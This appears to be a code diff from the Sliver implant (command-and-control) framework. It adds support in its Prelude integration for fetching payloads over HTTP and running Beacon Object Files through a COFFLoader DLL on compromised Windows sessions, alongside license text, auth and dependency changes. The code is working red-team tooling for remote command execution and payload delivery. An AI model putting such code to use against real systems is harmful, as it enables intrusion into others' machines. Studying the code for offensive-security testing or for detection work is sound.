(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
======================================================================================================
Copyright 2020, COFFLoader by TrustedSec, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the distribution.
* Neither the name of TrustedSec, LLC nor the names of its contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The above licensing was taken from the BSD licensing and is applied to COFFLoader as well.
Note that the COFFLoader is provided as is, and is a royalty free open-source application.
Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it).
======================================================================================================
Copyright (C) 2018-2021 WireGuard LLC. All Rights Reserved.
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
======================================================================================================
Copyright (c) 2019, The Garble Authors.
Redistribution and use in source and binary forms, with or without
+17
View File
@@ -19,9 +19,26 @@ package main
*/
import (
"crypto/rand"
"encoding/binary"
insecureRand "math/rand"
"time"
"github.com/bishopfox/sliver/client/cli"
)
// Attempt to seed insecure rand with secure rand, but we really
// don't care that much if it fails since it's insecure anyways
func init() {
buf := make([]byte, 8)
_, err := rand.Read(buf)
seed := uint64(time.Now().Unix())
if err == nil {
binary.LittleEndian.PutUint64(buf, uint64(seed))
}
insecureRand.Seed(int64(seed))
}
func main() {
cli.Execute()
}
+37 -3
View File
@@ -1,12 +1,33 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
@@ -93,9 +114,11 @@ func (a *AgentSession) respond(message string) error {
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
//TODO handle link.payloadPath
payloadPath := ""
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
link.Response = response
link.Status = status
link.Pid = pid
@@ -104,6 +127,17 @@ func (a *AgentSession) runLinks(tempBeacon *Beacon) {
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
+150
View File
@@ -0,0 +1,150 @@
package prelude
import (
"bytes"
"context"
"errors"
"io/ioutil"
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
coffLoaderName = "coff-loader"
loaderEntryPoint = "LoadAndRun"
bofEntryPoint = "go"
)
type bofArgs struct {
ArgType string `json:"type"`
Value interface{} `json:"value"`
}
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
if !isLoaderLoaded(session, rpc) {
err = registerLoader(session, rpc)
if err != nil {
return
}
}
bofArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
for _, a := range args {
switch a.ArgType {
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
}
case "string":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddString(v)
}
case "wstring":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddWString(v)
}
case "short":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddShort(uint16(v))
}
}
if err != nil {
return
}
}
extArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
parsedArgs, err := bofArgs.GetBuffer()
if err != nil {
return
}
err = extArgs.AddString(bofEntryPoint)
if err != nil {
return
}
err = extArgs.AddData(bof)
if err != nil {
return
}
err = extArgs.AddData(parsedArgs)
if err != nil {
return
}
extArgsBuffer, err := extArgs.GetBuffer()
if err != nil {
return
}
extResp, err := rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: coffLoaderName,
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(session),
})
if err != nil {
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch session.Arch {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
}
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: session.OS,
Init: "",
Request: MakeRequest(session),
})
if err != nil {
return err
}
if resp.Response != nil && resp.Response.Err != "" {
return errors.New(resp.Response.Err)
}
return nil
}
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(session),
})
if err != nil {
return false
}
for _, ext := range extList.Names {
if ext == coffLoaderName {
return true
}
}
return false
}
+51 -22
View File
@@ -1,49 +1,78 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"log"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "config":
// return updateConfiguration(task[1], agent)
// case "shell":
// return pty.SpawnShell(task[1], agent)
case "bof":
if len(task) != 2 {
break
}
var bargs []bofArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, int(agentSession.Session.GetID())
case "exit":
return shutdown(agent, rpc, session)
return shutdown(agentSession)
default:
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agent, rpc, session)
bites, status, pid := execute(message, executor, agentSession)
return string(bites), status, pid
}
return "", 0, 0
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
}
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(session),
Request: MakeRequest(agentSession.Session),
})
if err != nil {
@@ -53,7 +82,7 @@ func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.Sl
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
}
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
func getCmdArg(executor string) []string {
@@ -80,13 +109,13 @@ func splitMessage(message string, splitRune rune) []string {
return values
}
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
func shutdown(agentSession *AgentSession) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(session),
Request: MakeRequest(agentSession.Session),
})
if err != nil {
return err.Error(), 1, 0
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
}
+23
View File
@@ -1,5 +1,23 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/md5"
"encoding/hex"
@@ -7,6 +25,11 @@ import (
"sort"
)
const (
ErrorExitStatus = -1
SuccessExitStatus = 0
)
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() Beacon
+23 -2
View File
@@ -1,5 +1,23 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
@@ -15,6 +33,8 @@ import (
var SessionMapper *PreludeSessionMapper
const defaultImplantSleep = 5
type OperatorConfig struct {
Range string
OperatorURL string
@@ -53,7 +73,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
if pwdResp != nil {
pwd = pwdResp.Path
}
// Operator implants have embeded static IDs, but we don't,
// Operator implants have embedded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
@@ -70,7 +90,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: 3,
Sleep: defaultImplantSleep,
}
if p.conf.AESKey == "" {
@@ -85,6 +105,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
Address: p.conf.OperatorURL,
Pid: int(s.PID),
Executing: make(map[string]Instruction),
Sleep: defaultImplantSleep,
}
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
+18
View File
@@ -1,5 +1,23 @@
package util
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/aes"
"crypto/cipher"
+19 -1
View File
@@ -1,10 +1,28 @@
package util
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd"},
"executor": {"pwsh", "psh", "cmd", "bof"},
},
"linux": {
"file": {"python3", "pwsh", "sh", "bash"},
+22 -3
View File
@@ -44,15 +44,32 @@ const (
defaultTimeout = time.Duration(10 * time.Second)
)
type TokenAuth struct {
token string
}
// Return value is mapped to request headers.
func (t TokenAuth) GetRequestMetadata(ctx context.Context, in ...string) (map[string]string, error) {
return map[string]string{
"Authorization": "Bearer " + t.token,
}, nil
}
func (TokenAuth) RequireTransportSecurity() bool {
return true
}
// MTLSConnect - Connect to the sliver server
func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
tlsConfig, err := getTLSConfig(config.CACertificate, config.Certificate, config.PrivateKey)
if err != nil {
return nil, nil, err
}
creds := credentials.NewTLS(tlsConfig)
transportCreds := credentials.NewTLS(tlsConfig)
callCreds := credentials.PerRPCCredentials(TokenAuth{token: config.Token})
options := []grpc.DialOption{
grpc.WithTransportCredentials(creds),
grpc.WithTransportCredentials(transportCreds),
grpc.WithPerRPCCredentials(callCreds),
grpc.WithBlock(),
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
}
@@ -93,7 +110,6 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
// we have to disable all of the certificate validation and re-implement everything.
// https://github.com/golang/go/issues/21971
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
roots := x509.NewCertPool()
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
if !ok {
@@ -113,6 +129,9 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
options := x509.VerifyOptions{
Roots: roots,
}
if options.Roots == nil {
panic("no root certificate")
}
if _, err := cert.Verify(options); err != nil {
log.Printf("Failed to verify certificate: " + err.Error())
return err
+3 -3
View File
@@ -217,15 +217,15 @@ GEM
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.5.3)
mini_portile2 (2.6.1)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.14.4)
multipart-post (2.1.1)
nokogiri (1.11.7)
mini_portile2 (~> 2.5.0)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
racc (~> 1.4)
octokit (4.21.0)
faraday (>= 0.9)
Loaded 100 of 1492 files, more files were not shown because too many files have changed in this diff. Show more